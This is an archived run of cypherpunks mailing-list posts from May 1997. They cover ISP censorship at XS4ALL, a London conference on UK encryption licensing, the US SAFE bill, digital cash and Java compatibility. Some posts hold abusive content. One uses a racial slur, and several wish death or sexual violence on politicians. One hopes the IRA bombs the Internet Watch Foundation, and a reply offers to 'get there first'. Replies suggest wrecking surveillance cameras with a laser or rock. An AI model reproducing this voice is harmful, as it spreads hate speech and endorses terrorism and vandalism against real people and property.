> > "Basically any project we like gets free resources from XS4ALL,"
> > Rodriquez commented.
>
> And anyone who guarantees to publicly lick the boots of the benevolent
> owners in thanks for their support gets as much free space as they like?
>
> Of course I believe in the right to free expression of anyone and if
> these thugs choose not to allow material they don`t like on their servers
> they have every right to remove it. I just don`t see that setting up
> mirrors to defeat blocks on sites that refuse to carry certain content is
> of any value in the fight for free speech. Sure, create a mirror of
> Radikal, but giving any credit or attribution to XS4ALL seems to be a
> poor choice.

My understanding is that Radikal is a harmless, toothless liberal rag
that the Germans had no grounds for censoring in the first place.
Mirroring it is no big deal. How about mirroring the MJ page that
the bastards at XS4ALL censored?

Actually, I don't think mirroring is a good technology either.
The "eternal server" posted a few days ago seems VERY VERY promising,
I'm very exited about this technology - many many thanks.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Banisar <banisar@epic.org>
Date: Sat, 3 May 1997 21:30:08 +0800
To: cypherpunks@toad.com
Subject: Conference on UK Crypto Initiative 19 May 1997
Message-ID: <v03020908af90e8aaa049@[204.91.138.76]>
MIME-Version: 1.0
Content-Type: text/plain



                    SCRAMBLING FOR SAFETY

       Privacy, security and commercial implications of
            the DTI's proposed encryption policy


                        May 19, 1997
             Computer Security Research Centre
               The London School of Economics


                        Organised by:

                    Privacy International
               Global Internet Liberty Campaign


    Chairman: Prof. Ian Angell, London School of Economics

On May 19, the Computer Security Research Centre of the London
School of Economics will host a one day meeting on the U.K.
Department of Trade and Industry's policy paper "Licensing of
Trusted Third Parties for the Provision of Encryption
Services," The event is being jointly organised by Privacy
International and the Global Internet Liberty Campaign.

The LSE meeting - the only public meeting during the
consultation phase - will comprehensively assess all aspects
of the governments proposal. Security specialists, academics
cryptographers, legal experts, cyber-rights groups, ISP's and
other commercial organisations will participate. The DTI and
representatives from other agencies will be in attendance for
the entire day.

There will be no cost for members of the public to attend.
An interactive audiocast on the Internet will also be available.

DRAFT AGENDA:

Introduction to cryptography

Welcome and opening remarks - Dr James Backhouse

Keynote
  - Geoffrey Robertson QC (invited)

The DTI proposals - presented by the DTI

Perspectives:

*	Legal and Commercial
          - Peter Sommer (LSE)  and Alistair Kelman (LSE)

*	Architectural and Technical
          - Dr. Whitfield Diffie, Sun Microsystems
          - Phil Zimmermann, PGP Inc.
          - Dr Ross Anderson, University of Cambridge
          - Dr. Carl Ellison, Cybercash

*	Civil Rights and Privacy
          - Simon Davies, Privacy International

*	International
          - OECD (invited)

Section by Section analysis of the document.

Wrapup (Around 3:30)


MORE INFORMATION

More information on the conference and the DTI initiative
is available from http://www.privacy.org/pi/conference/dti/.


REGISTRATION

To register for the conference, email Simon Davies at
davies@privacy.org.


ABOUT PRIVACY INTERNATIONAL

Privacy International was formed in 1990 as a watchdog on
surveillance by governments and corporations. With members in
more than 40 countries, it has created an international
movement that has helped to counter abuses of privacy by way
of information technology. Privacy International has conducted
campaigns in Europe, Asia and North America to raise awareness
about the dangers of ID card systems, military surveillance,
data matching, police information systems, and credit
reporting. It is based in London, UK, and is administered by
the Electronic Privacy Information Center (EPIC) in
Washington, D.C. Privacy International publishes a quarterly
newsletter (the International Privacy Bulletin) and organizes
conferences each year on privacy and technology. More information
is available at http://www.privacy.org/


ABOUT THE GLOBAL INTERNET LIBERTY CAMPAIGN

The Global Internet Liberty Campaign is an international
coalition of 28 human rights, free speech, cyber-liberties and
privacy groups that has come together to promote free speech
and privacy on the Internet. More information is available
at http://www.gilc.org/



-------
David Banisar (Banisar@epic.org)                *    202-544-9240 (tel)
Electronic Privacy Information Center           *    202-547-5482 (fax)
666 Pennsylvania Ave, SE, Suite 301             *    HTTP://www.epic.org
Washington, DC 20003    * PGP Key
http://www.epic.org/staff/banisar/key.html             






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: investigations.comv@angel.chico.joshuanet.com (by way of geeman <NOSPAM-geeman@best.com>)
Date: Sun, 4 May 1997 00:43:42 +0800
To: cypherpunks@algebra.com
Subject: ARE YOU BEING INVESTIGATED ????
Message-ID: <3.0.32.19970503092404.006c4a08@best.com>
MIME-Version: 1.0
Content-Type: text/plain



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jimbell@pacifier.com (Jim Bell)
Date: Sun, 4 May 1997 04:24:40 +0800
To: Ernest Hua <declan@vorlon.mit.edu>
Subject: Re: FC: Responses to Tim May's criticism of SAFE, and a rebuttal
Message-ID: <199705032005.NAA29515@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:10 5/02/97 -0700, Ernest Hua wrote:
>    The NSA/FBI is NOT standing still while we are all bickering about
>    precisely which dotted-i and crossed-t to support.  They can, at
>    the stroke of Clinton's executive order pen, initiate effectively
>    THEIR law, while we must gather forces and summon Congress to jump
>    through enough hoops to pass effective legislation.
>
>In short, they can get what they want instantly, while we cannot
>except through a long and arduous process (during which they can throw
>many procedural and lobbying obstacles to slow us down).  The process
>is clearly in THEIR favor (and not without good reason), and we must
>face that fact.

Then let's force them to take that step, which (BTW) they haven't done
already.  They are well aware of the highly questionable constitutional
nature of such a system, and I'm sure they're worrying that not only would
such an executive order galvanize opposition to such a plan, it would also
delay for a year or two the perceived "need" for the legislation they
currently (and secretly) seek.  By the time the executive order is
overturned by the SC, it'll be too late to restore it as Congressional
legislation.

Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Sun, 4 May 1997 02:44:36 +0800
To: "cypherpunks" <banisar@epic.org>
Subject: Re: Conference on UK Crypto Initiative 19 May 1997
Message-ID: <199705031825.OAA27208@life.ai.mit.edu>
MIME-Version: 1.0
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>                    SCRAMBLING FOR SAFETY
>
>       Privacy, security and commercial implications of
>            the DTI's proposed encryption policy

Didn't the green paper automatically fall since the government 
which issued it is no longer in office. 

The DTI does not have the right to make a crypto policy, ministers
make policy, nor civil servants.

It might be worth seeing if the relevant new junior ministers could 
attend and turn it into a brainwashing erm briefing session.

Phill




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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 4 May 1997 03:39:01 +0800
To: Bill Frantz <cypherpunks@toad.com
Subject: Re: digital cc transactions, digital checks vs real digital cash
In-Reply-To: <v0302091baf8fb7a1ebb2@[139.167.130.247]>
Message-ID: <v0302090aaf913bf8023e@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


At 3:10 am -0400 on 5/3/97, Bill Frantz wrote:


> At 10:07 AM -0700 5/2/97, Robert Hettinga wrote:
> >Yup. But the neat thing about them is they take pennies to clear, instead
> >of quarters for paper checks. The other thing is, they're peer-to-peer.
> >Credit cards aren't, remember? When was the last time you sold a car or
> >house and took MasterCard in payment. :-).
>
> Carlsen Subaru in Palo Alto has signs in their sales offices notifying
> people that their agreement with their bank prevents them from taking
> credit cards in payment for cars.

Hmmm. The operative concept in my paragraph was "peer-to-peer". I should
have put "personally" in the last sentence, in between "you" and "sold",
and it would have been much clearer.

By the way, back when I was pond scum in Morgan Stanley's cage in Chicago,
American Express Gold Cards had just come out. About the first month they
were out, a commodities trader showed up at a local Rolls dealership and
offered to pay for a brand new Corniche with one.

The sales manager smiled, said "Yes sir", went to the phone, called Amex,
and took the card.

Probably apocryphal, but, hey, it's a great story.

The point is, you and I can't take Amex when we sell our used Honda off our
driveway.  We do, however take a certified check or cash. When we can sell
our work over the net for checks and cash, the world better look out. :-).

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Sun, 4 May 1997 07:39:05 +0800
To: cypherpunks@cyberpass.net
Subject: Java woes on compatibility
Message-ID: <199705032325.QAA11796@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


in a recent "PC Magazine" the story went into the compatibility problems
among different vendors versions of the Java language, predicting that
the problems may become worse. in short the vendors have a hard time
getting all the compliance exactly correct.

unfortunately, this same story happened with Unix and C such that the
libraries out there did not fully adhere to a standard, even when the
standard went into meticulous detail. is it the same insurmountable
problem all over again? can there ever really be a totally portable
language? java was invented to solve portability problems, but is
plagued with the same ones that other languages have.

what's the solution? it hasn't been implemented yet, but I believe the
solution is an extremely sophisticated verification package for the
correctness of the Java language. this type of idea is hinted in the
makefiles of some C programs that compile based on complex attempts
to avoid/workaround portability glitches. I saw one that did many
regression tests on "strcpy" trying to catch all the kinds of things
that can go wrong.

the idea is that you actually have code that tests all the key implementation
aspects of the library and language. it needs to be capable of being fully
automated. for example, you might have code that calls the java 
window kit and then actually verifies that a window is drawn correctly
by reading the screen or something like this. if you find that some things
are falling through the tests, you just add to your tests. the tests
don't need to be efficient-- you run them once and never again.

also, I think the solution would involve writing a lot of verification
routines for *every* feature of java that is implemented. the vendors
simply run the code on their own implementation and it gives a "pass or
fail" response. ideally, the java *user* could go through this process--
then the company cannot claim themselves that their implementation pass
it's all out in the open for customers to test themselves.

I would suggest that anything in the Java language that can't be 
tested like this, could be modified slightly to support this 
"testable" property, and that it would really pay off bigtime. in other
words, some part of the library that doesn't seem like it could be 
tested, could have extra little aspects added to its implementation that
support regression testing of the feature. (note that this is not
necessarily "regression" in the classic sense of software engineering,
but is very similar).

I've written software that has this property, that its verification 
routines are built into it and are accessable by the end user. I think
it represents a major new and important design consideration. and ultimately
I think it saves developers and users time in the long run, but perhaps
not the short run.

a lot of work? yes, but it's the only way in my opinion, and it can be
done in an elegant way. if it isn't I believe that portability problems
will *increase* as the article predicted, and the revolutionary possibilities
of Java will be forever handicapped and shortchanged.

note that some people think that you should have a certification process.
I don't like this at all because then the verification tools are caught
up inside the Java company when it makes sense to *distribute* these tools
so vendors can debug their own software without going through a 
bureacracy to get the stamp of approval. the verification suite is actually
an extremely powerful utility that can test Java conformance and should
be available to anyone trying to support the standard.

note also that it wouldn't have to be Sun that creates such a package.
in fact it might be better if someone not affiliated with the creation
of the Java language built such a package.

if anyone from Java/Sun is listening, I would be happy to consult on this.
<g>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Minow <minow@apple.com>
Date: Sun, 4 May 1997 10:02:34 +0800
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: Java woes on compatibility
In-Reply-To: <199705032325.QAA11796@netcom13.netcom.com>
Message-ID: <v03102803af9180e5ea78@[17.219.103.113]>
MIME-Version: 1.0
Content-Type: text/plain


Vladimir Z. Nuri writes about Java compatibility:
>
>unfortunately, this same story happened with Unix and C such that the
>libraries out there did not fully adhere to a standard, even when the
>standard went into meticulous detail.

Actually, much of the meticulous C and Unix detail described the permitted
loopholes. For example, there is no definition of <newline>, which is 0x0D
<carriage return> on Mac, 0x0A <line feed> on Unix, both on DOS, and neither
on VMS (it's a record boundary in the simplest case, and don't ask about the
complex cases). Look, if VMS is "Posix-complient," which it is, it can't be
a really robust specification, no matter how meticulous.

Java goes into great detail to define floating-point representation,
to take one example, and the "end of line" sequence is a system parameter,
rather than a static character.

> is it the same insurmountable
>problem all over again? can there ever really be a totally portable
>language?

Yes, but it won't solve many interesting problems. Java is a good
balance between portability and capability.

>
>what's the solution? it hasn't been implemented yet, but I believe the
>solution is an extremely sophisticated verification package for the
>correctness of the Java language.

Check out the 100% pure program that you can download from JavaSoft.
Look at <http://www.javasoft.com/100percent/> Their static verification
package is free, along with a programming guide. (You have to pay for
dynamic testing and certification.)

> this type of idea is hinted in the
>makefiles of some C programs that compile based on complex attempts
>to avoid/workaround portability glitches.

Been there, done that (look for the Decus-CPP Preprocessor I did in the
mid 1980's, or my Lempel-Ziv implementation for VMS). Preventing problems
by design is a better approach.

>
>note that some people think that you should have a certification process.
>I don't like this at all because then the verification tools are caught
>up inside the Java company when it makes sense to *distribute* these tools
>so vendors can debug their own software without going through a
>bureacracy to get the stamp of approval. the verification suite is actually
>an extremely powerful utility that can test Java conformance and should
>be available to anyone trying to support the standard.

Again, the 100% pure test package is freely available. Sun does, however,
charge for stress testing, which runs the application on a number
of Java implementations.

>
>if anyone from Java/Sun is listening, I would be happy to consult on this.
><g>

Sun is hiring. Check out their web pages.

Martin.
minow@apple.com







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Banisar <banisar@epic.org>
Date: Sun, 4 May 1997 06:14:57 +0800
To: "Phillip M. Hallam-Baker" <cypherpunks@toad.com>
Subject: Re: Conference on UK Crypto Initiative 19 May 1997
In-Reply-To: <199705031825.OAA27208@life.ai.mit.edu>
Message-ID: <v0302090aaf91651fe4d4@[204.91.138.76]>
MIME-Version: 1.0
Content-Type: text/plain


The situation is very similar to here with the Clipper and digital
telephony bill - all the same staff members of the FBI, NSA, DOJ, NIST,
DOC, State etc remained after Clintons election and continued to push for
their surveillance agenda.

We are attempting to get the new ministers to attend but it may be too soon
for them to have officially selected them.

-dave

At 2:31 PM -0400 5/3/97, Phillip M. Hallam-Baker wrote:
>
>>                    SCRAMBLING FOR SAFETY
>>
>>       Privacy, security and commercial implications of
>>            the DTI's proposed encryption policy
>
>Didn't the green paper automatically fall since the government
>which issued it is no longer in office.
>
>The DTI does not have the right to make a crypto policy, ministers
>make policy, nor civil servants.
>
>It might be worth seeing if the relevant new junior ministers could
>attend and turn it into a brainwashing erm briefing session.
>
>Phill
>
>
>
>Content-Type: application/x-pkcs7-signature;
>	name="smime.p7s"
>Content-Disposition: attachment;
>	filename="smime.p7s"
>
>Attachment converted: Trouble 2:smime.p7s 1 (????/----) (00007C77)


-------
David Banisar (Banisar@epic.org)                *    202-544-9240 (tel)
Electronic Privacy Information Center           *    202-547-5482 (fax)
666 Pennsylvania Ave, SE, Suite 301             *    HTTP://www.epic.org
Washington, DC 20003    * PGP Key
http://www.epic.org/staff/banisar/key.html             






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 4 May 1997 06:46:32 +0800
To: cypherpunks@toad.com
Subject: Misdirected e-mail
In-Reply-To: <199705031052.GAA06973@lillith.anexis.com>
Message-ID: <3TF66D37w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


There's no "sdg@dm.com".  I don't know who this person is, but
I hope s/he gets 'eir misdirected message via this mailing list.

Date: Sat, 3 May 1997 06:52:58 -0400
Message-Id: <199705031052.GAA06973@lillith.anexis.com>
From: support@freesmut.com (Free Smut Support)
Subject:  Secret Site
Precedence: junk
Apparently-To: <sdg@dm.com>

Thank you, your username and password to our secret hardcore door are:

 Username: smut12
 Password: freesmut

 This is an automated response to a request made on our web site. This IS NOT
 a bulk mailing. Our site is located at http://www.fl.freesmut.com/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Sun, 4 May 1997 08:23:31 +0800
To: NOSPAM-geeman@best.com (geeman)
Subject: Re: Privacy news: Oakland Cameras, Levi employee files,
In-Reply-To: <3.0.32.19691231160000.006ae0c4@best.com>
Message-ID: <199705040009.TAA04680@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> have an effect on people's behavior with respect to what they say, whom
> they associate with, 
> the clothes they wear, the thoughts they think...
> How do you hack a camera?

	I'd suggest a small laser.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sun, 4 May 1997 23:14:18 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Artikel about XS4ALL in New York
In-Reply-To: <quP56D21w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.91.970503184757.687A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> > The only "nice people" are dangerous anarchists bent on destroying
> > governments and buggering poloticians to death. (last part a personal
> > preference of course, the author is totally straight but would
> > nonetheless be distinctly amused to see any government official
> > butt-raped to death)
> 
> I, personally, would have to use a dildo.  Even if I were queer,
> I wouldn't get it up for a politician or a Cabal supporter.

This I can fully understand.

> > > "The Internet Watch Foundation forces the provider to remove the
> > > illegal content," he added. "This is a fundamentally different approach
> > > to responsibilities on the Internet. We think the author of the
> > > information is responsible for his own actions, not the provider."
> 
> I hope the IRA blows up these Internet Watch motherfuckers.

If I don`t get there first...

> Is this Blair guy any saner than the tory bastards?

Calling any democratic polotician, especially in the UK, sane, is a big 
mistake. However, if we may rephrase and ask if he is any less deranged 
we can safely answer "no".

I heard a wonderful comment on the cryptography@c2 list earlier that Jack 
Straw (the new Labour home secretary, who is in charge of law and order) 
may be defined as the only person for whom anal sex with michael howard 
(his predecessor) counts as masturbation. They both even look deranged 
(Michael Howard looked rather like a serial killer and jack straw looks 
like a church reject). I don`t know about crypto policy, Labour are 
supposed to be opposed to mandatory GAK but this is of course a small 
issue when put in perspective. The new labour administration are a group 
of anti-drugs, anti-"crime" misfits who I hope go the same way as the 
previous leader of the labour party, John Smith, who died of a heart attack.

Just to give you some overview of the fuck ups we now have governing the 
UK I present a list of proposals Tony Blair and his motley crew have made in 
the last year:

Mandatory minimum sentencing for repeat offenders regardless of the 
opinion of the judge.

State set curfews for all children under 16 regardless of their parents 
wishes.

Parents to be held responsible for the crimes of their children if the 
children repeat offend.

Several vague allusions towards internet censorship schemes or mandatory 
web page rating using PICS.

Minimum wage for full time employees, regardless of the empolyees skills 
or the wishes of the employer.

Further action to prevent "bias" and "discrimination" in the workplace, 
eg. "Employ this unskilled bone idle coon and we`ll lower your 
corporation tax 2%"

Further plans for yet more CCTV cameras in public places.

Mandatory ID cards for citizens (This one sounds like a joke, believe me 
it is not).

A ban on all handguns even when registered (currently all pistols above 
.22 are banned and all guns have to be registered in a process whereby if 
the applicant for a certificate has any history of political dissention 
or crime (eg. Smoking a joint, the ultimate sin against society) the 
certificate will be refused.

Yet more spending on welfare to support the pieces of shit in the gutter 
I pass every day.



> > And if he chooses not to remove the content you happen to find offensive?
> > If you truly believed in the rights of the author and publisher of the
> > information you would think about it before sending in your own
> > particular brand of thugs to "crush the mutiny".
> 
> Perhaps we should further expose XS4ALL's hypocricy by renting from the
> web space and putting up some pages they won't like.

I think this is an excellent idea, I`ll call or mail them in a few days 
to find out their pricing structure.


> > > Yet when violation of the law is flagrant, XS4ALL doesn't hesitate to
> > > comply, as it did a few weeks ago when it shut down a customer's home
> > > page called Neuroroom, which sold marijuana and other soft drugs in
> > > Holland and abroad.
> >
> > Sometimes one really wonders why we bother to set up mirrors to allow
> > freedom of information to users, when the owners of these servers,
> > supposedly in favour of free speech, do not even have the strength of
> > character or conviction to decide for themselves what they will allow on
> > their servers rather than bending over for the long cock of the law...
> 
> The ISP is not a court to decide that a web page offering MJ for
> sale is "illegal".

Absolutely, besides which, even though I believe in the right of people 
to be as bigotted and statist as they see fit, there are only so many 
causes we can support and coming in on the side of XS4ALL knowing their 
record seems ill advised to me. If they truly deserved our support they 
would retain the pages whether they were legal or not.

> > > "Basically any project we like gets free resources from XS4ALL,"
> > > Rodriquez commented.
> >
> > And anyone who guarantees to publicly lick the boots of the benevolent
> > owners in thanks for their support gets as much free space as they like?
> >
> > Of course I believe in the right to free expression of anyone and if
> > these thugs choose not to allow material they don`t like on their servers
> > they have every right to remove it. I just don`t see that setting up
> > mirrors to defeat blocks on sites that refuse to carry certain content is
> > of any value in the fight for free speech. Sure, create a mirror of
> > Radikal, but giving any credit or attribution to XS4ALL seems to be a
> > poor choice.
> 
> My understanding is that Radikal is a harmless, toothless liberal rag
> that the Germans had no grounds for censoring in the first place.
> Mirroring it is no big deal. How about mirroring the MJ page that
> the bastards at XS4ALL censored?

I actually went to the page once, nearly brought some bud but as I recall 
they didn`t have an SSL link so I chose not to transmit my CCN.

I don`t have a copy, but if XS4ALL have any balls at all they will send 
us a copy. I`ll get onto them about this later.

> Actually, I don't think mirroring is a good technology either.
> The "eternal server" posted a few days ago seems VERY VERY promising,
> I'm very exited about this technology - many many thanks.

No, it isn`t really but was, for all intents and purposes, the best we 
had. I haven`t yet seen the eternal server idea but I`ll trawl the 
archives for it.


Paul "Can`t really be bothered to re-do his .sig file yet" Bradley





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Sun, 4 May 1997 09:06:58 +0800
To: tcmay@got.net (Tim May)
Subject: Re: SAFE Bill is a Disaster--"Use a cipher, go to prison"
In-Reply-To: <v03007803af8e70131a67@[207.167.93.63]>
Message-ID: <199705040016.TAA04707@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> --Tim May, still a felon, and still using encryption to further
> prosecutable offenses. Fuck Congress.
> 
	Sorry, I don't like sloppy seconds...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 4 May 1997 09:31:44 +0800
To: snow <snow@smoke.suba.com>
Subject: Re: Privacy news: Oakland Cameras, Levi employee files,
In-Reply-To: <199705040009.TAA04680@smoke.suba.com>
Message-ID: <199705040108.UAA13032@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <199705040009.TAA04680@smoke.suba.com>, on 05/03/97 at 06:09 PM,
   snow <snow@smoke.suba.com> said:


>> have an effect on people's behavior with respect to what they say, whom
>> they associate with, 
>> the clothes they wear, the thoughts they think...
>> How do you hack a camera?

>	I'd suggest a small laser.

I prefer the low-tech approach: a big rock. :)

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: OS/2: The choice of the next generation.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBM2vw6o9Co1n+aLhhAQHWuAP/aqQnvGZA0atZE2tA/Vt94XOmibPNVEq6
cESP0jwCRzaLulARsUU9LC+Jz7S7TJPEQExWEZbJ5Km3ERFBWDT0QbDwNrouH6QA
cFztoJ7oojbdtVhOYAaN1fHp+YXemabH834HqiFOU8z/9ZtcO3DlUGEJoDJRm4GU
kOYNslhWDcg=
=roj7
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cpunks@algebra.com
Date: Sun, 4 May 1997 10:35:59 +0800
To: cypherpunks@manifold.algebra.com
Subject: BOUNCE cypherpunks@Algebra.COM:  Admin request: /^subject:\s*help\b/i (fwd)
Message-ID: <199705040227.VAA22500@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


----- Forwarded message from owner-cypherpunks@algebra.com -----

>From owner-cypherpunks@Algebra.COM  Sat May  3 20:52:56 1997
Date: Sat, 3 May 1997 20:52:56 -0500
From: owner-cypherpunks@algebra.com
Message-Id: <199705040152.UAA22185@manifold.algebra.com>
To: owner-cypherpunks@Algebra.COM
Subject: BOUNCE cypherpunks@Algebra.COM:  Admin request: /^subject:\s*help\b/i    

>From cpunks@manifold.algebra.com  Sat May  3 20:52:48 1997
Return-Path: <cpunks@sirius.infonex.com>
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Message-Id: <199705040145.UAA13493@mailhub.amaranth.com>
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 03 May 97 15:28:09 -0500
To: cypherpunks@cyberpass.net
Subject: Help!!
X-Mailer: MR/2 Internet Cruiser Edition for OS/2 v1.27c b9 

-----BEGIN PGP SIGNED MESSAGE-----

Do to some problems with my ISP I have lost several days worth of mail. :(

Would someone be kind enough to zip up the cypherpunks posts from thursday
to today and send them to me.

Thanks,


- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: What I like about MS is its loyalty to customers!

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

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QF0yX8h4qS8HpZUxn2FNnrhn2dj+dBKqZLm8ADLuOrV5lbNLeFuMFbTRGts/QEAD
BDJen5/U8ZI=
=bDrX
-----END PGP SIGNATURE-----
 
Tag-O-Matic: I smashed a Window and saw... OS/2.

----- End of forwarded message from owner-cypherpunks@algebra.com -----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 4 May 1997 10:58:02 +0800
To: cypherpunks@toad.com
Subject: Re: SAFE Bill is a Disaster--"Use a cipher, go to prison"
In-Reply-To: <199705040016.TAA04707@smoke.suba.com>
Message-ID: <PDq66D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


snow <snow@smoke.suba.com> writes:

> > --Tim May, still a felon, and still using encryption to further
> > prosecutable offenses. Fuck Congress.
> >
> 	Sorry, I don't like sloppy seconds...

"Seconds?"  Learn to count, 'punk.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 4 May 1997 11:30:26 +0800
To: cypherpunks@toad.com
Subject: cyberpass.net down?
Message-ID: <199705040309.WAA14342@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Is cyberpass.net down? I have posted several messages but have not received
any of them.


- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: If Windows sucked it would be good for something.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

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ScPYxEnom/Nq9xqdlCS0bhP2A6soikaK/SRAdX96w6iUtELbHWSN5GSSAD3LkN5B
0GEFhWgAF1M=
=mviw
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sun, 4 May 1997 10:34:43 +0800
To: fight-censorship@vorlon.mit.edu
Subject: Re: TWO Letters on SAFE
In-Reply-To: <Pine.GSO.3.95.970502084700.12526B-100000@well.com>
Message-ID: <v03007807af91a0b82383@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain


Sorry, Shabbir, that doesn't cut it. You said I did my research "poorly,"
when in fact I was correct to say CDT asked the subcommittee to approve the
SAFE bill unchanged. Perhaps you should take your own advice next time and
do a bit of factchecking.

And I'm not "attacking" CDT. I'm not calling them "traitors to the
republic," as some others have. I simply posted this:

 >>* Didn't CDT, unlike the other groups like EPIC/ACLU/EFF/ATR, send a
 >>letter to the House subcommittee on April 29 urging that SAFE be approved
 >>without any changes? (I'm in Oklahoma right now and I have a copy of that
 >>letter in my office in DC, but that's what I remember.)

If that's an "attack," I'm Dorothy Denning.

I'm surprised, and disappointed, that you're so thin-skinned -- and so
eager to savage those who share your objectives: no export controls and no
domestic laws relating to encryption.

-Declan

****************

At 12:02 PM -0400 5/2/97, Shabbir J. Safdar wrote:
>Actually, I think you do.  There aren't any other groups out there who sent
>letters urging the entire subcommittee to start hacking on the bill at the
>subcommittee level.  Even the IPC letter to Goodlatte said to address the
>issue at the full committee level.
>
>That seems to be the strategy everyone is pursuing, so if you're going to
>attack CDT for it, you had better include VTW, the ACLU, EPIC, EFF, et al.
>
>-S
>
>At 8:51 AM -0700 5/2/97, Declan McCullagh wrote:
>>Thanks, Marc, for posting the URL for CDT's letter urging the House
>>subcommittee to approve SAFE without amendment. I was quoting from memory.
>>
>>No, Shabbir, I don't think I owe anyone a "big fucking apology."
>>
>>-Declan
>>
>>
>>On Fri, 2 May 1997, Marc Rotenberg wrote:
>>
>>>
>>>
>>> Shabbir is a very good organizer and often very busy, which
>>> may explain the confusion about the TWO letters that were
>>> sent out regarding SAFE.
>>>
>>> CDT sent a letter to Hon. Howard Conable, the chair of the
>>> Subcommittee, on April 24 which said that "CDT strongly urges
>>> you to report H.R. 695, the SAFE Act, out of the Courts
>>> and Intellectual Property Subcommittee without amendment."
>>> [The CDT letter is at
>>> http://www.cdt.org/crypto/legis_105/SAFE/970424_CDT_ltr.html]
>>>
>>> EPIC helped coordinate a different letter for the Internet
>>> Privacy Coalition, which went to Rep. Goodlatte on April
>>> 28 and said
>>>
>>>      While expressing our support for the measure, we wish
>>>      also to state our concern about one provision contained
>>>      in the bill. We believe that this provision, which would
>>>      create new criminal penalties for the use of encryption in
>>>      furtherance of a crime, could undermine the otherwise laudable
>>>      goals of the legislation. For the reasons set forth below, we
>>>      recommend that this provision be reconsidered when the Committee
>>>      considers the bill.
>>>
>>> The IPC letter was signed by 26 privacy groups, user organizations,
>>> private companies, and trade associations. [The IPC letter is
